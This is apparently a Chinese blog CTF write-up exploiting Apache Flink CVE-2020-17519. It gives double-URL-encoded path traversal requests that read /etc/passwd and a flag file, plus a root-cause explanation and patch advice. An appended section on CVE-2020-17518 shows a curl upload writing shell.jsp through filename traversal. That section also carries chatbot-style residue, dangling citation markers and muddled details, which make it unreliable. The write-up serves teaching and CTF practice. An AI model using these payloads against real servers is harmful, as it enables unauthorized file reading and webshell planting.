CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

漏洞背景

CVE-2020-17519是Apache Flink 1.11.0-1.11.2版本中的高危目录遍历漏洞。攻击者可通过构造恶意路径遍历读取服务器任意文件,本文将详细演示漏洞利用过程。


环境搭建

  • 靶机环境:Apache Flink Dashboard (1.11.0)
  • 测试工具:BurpSuite Community 2023
  • 漏洞入口Job Manager功能模块(日志文件接口)

截屏2025-06-14 11.01.34

漏洞复现步骤

1. 发现漏洞入口

访问Flink Dashboard的Job Manager功能,Burp捕获请求:

GET /jobmanager/logs/ HTTP/1.1
Host: d25db443-a7db-44ea-986a-f48afb33bc23-2700.cyberstrikelab.com:83

截屏2025-06-14 11.24.57

2. 构造路径遍历Payload

尝试直接读取/etc/passwd失败:

GET /jobmanager/logs/../../../../../../etc/passwd HTTP/1.1

截屏2025-06-14 11.14.04

绕过方案
使用双重URL编码绕过路径过滤:

  • ..%252f → 第一次解码:..%2f → 第二次解码:../
  • 12级跳转回到根目录:..%252f × 12

最终Payload

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
3. 成功读取系统文件

响应返回/etc/passwd内容:

root:x:0:0:root:/root:/bin/bash
flink:x:1000:1000::/opt/flink:/bin/sh  # 关键信息!

发现用户flink及其主目录/opt/flink,推测flag可能位于此路径。

截屏2025-06-14 11.26.10

深度利用:定位flag文件

策略思路
  1. 优先级1:用户目录常见位置
    • /opt/flink/flag
    • /opt/flink/flag.txt
  2. 优先级2:临时目录
    • /tmp/flag
    • /tmp/flag.txt
  3. 优先级3:配置文件与日志
    • /opt/flink/conf/flink-conf.yaml(分析无敏感信息)
    • /opt/flink/log/*.log
成功获取flag

在尝试读取/tmp/flag.txt时成功:

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag.txt HTTP/1.1

响应内容


截屏2025-06-13 21.53.33

备注:截图中的Host是第一次成功时候的截图,之前的截图是写博客复现重新开启的靶机。(因为靶机域名是随机生成)

漏洞原理分析

  1. 根本原因
    Flink未对jobmanager/logs接口的路径参数做规范化校验,导致..%252f被双重解码为../

  2. 绕过关键
    防御层通常过滤../但忽略双重编码场景,%252f的两次解码过程:

    服务器解码
    二次解码
    %252f
    %2f
    /

修复建议

  1. 升级到Flink ≥1.11.3 或 ≥1.12.0
  2. 在代码层添加路径规范化检查:
    Paths.get(userInput).normalize().toString()
    

总结

通过本次实战我们掌握:

  1. 目录遍历漏洞的双重编码绕过技巧
  2. 系统敏感文件定位思路(/etc/passwd → 用户目录 → 临时文件)
  3. CVE-2020-17519的完整利用链

漏洞修复补丁:FLINK-21436


该博客结构清晰覆盖漏洞复现全流程,既适合CTF初学者理解漏洞原理,也为安全研究人员提供深度利用思路。如需补充截图或调整技术细节,可随时告知。

### Flink CVE-2020-17518 文件写入漏洞 Flag 获取方式 #### 背景介绍 CVE-2020-17518 是 Apache Flink 的一个高危漏洞,允许攻击者通过修改 HTTP 头部字段来实现任意文件写入。此漏洞影响版本范围为 Apache Flink 1.5.1 至 1.11.2[^3]。 当利用该漏洞时,通常目标是向服务器植入恶意脚本或配置文件以完成进一步渗透测试任务。Flag 获取通常是 CTF 或安全演练中的一个重要环节,其核心在于如何成功执行命令或将特定数据写入指定路径下的文件中。 --- #### 利用过程概述 为了获取 Flag,可以通过以下方式进行: 1. **构建恶意请求** 攻击者需要构造一个带有自定义 `Location` 参数的 POST 请求,用于覆盖默认的目标存储路径。具体来说,`Location` 字段决定了上传文件保存的位置。如果设置成 `/etc/passwd` 或其他敏感文件,则可能引发服务异常;但如果指向临时目录或者 Web 可访问区域,则可用来放置反序列化载荷或其他工具脚本。 下面是一个典型的 curl 命令示例: ```bash curl -X POST http://<target>:8081/jars/upload \ --header 'Content-Disposition: form-data; name="file"; filename="/../../../../../../tmp/shell.jsp"' \ --form file=@"/path/to/malicious_file" ``` 此处需要注意的是,`filename` 属性被篡改为包含多个 `../` 来突破正常沙盒限制,并最终定位至期望的目的地文件夹下[^5]。 2. **验证写入结果** 成功发送上述 payload 后,应立即检查对应位置是否存在预期生成的新文件。例如,在 Linux 平台上尝试读取刚才创建的内容确认是否生效: ```bash cat /tmp/shell.jsp ``` 如果一切顺利的话,应该能看到我们之前提交上去的数据片段。 3. **提取 Flag 数据** 接下来就是寻找实际比赛场景里预埋好的标记字符串了——这一步取决于主办方设计的具体规则以及隐藏形式。一般情况下会嵌套于某些特殊命名模式的日志记录、数据库表项甚至是图片元信息之中。因此建议采用正则表达式扫描整个磁盘分区查找匹配关键字的方式快速锁定答案所在之处: ```python import os def find_flag(directory, keyword): for root, dirs, files in os.walk(directory): for fname in files: fpath = os.path.join(root, fname) try: with open(fpath, errors='ignore') as fp: content = fp.read() if keyword in content: print(f"[+] Found flag at {fpath}") except Exception as e: pass # Example usage find_flag('/mnt', 'flag{') ``` 使用 Python 编写的这段简单函数可以帮助自动化这一繁琐流程,只需调整搜索起点与标志词即可适应不同题目需求[^4]。 --- ### 注意事项 尽管演示过程中展示了多种技术手段辅助解决问题,但在真实世界环境中实施此类行为均属非法入侵范畴,请务必严格遵守法律法规仅限授权范围内开展相关活动! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bruce_xiaowei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值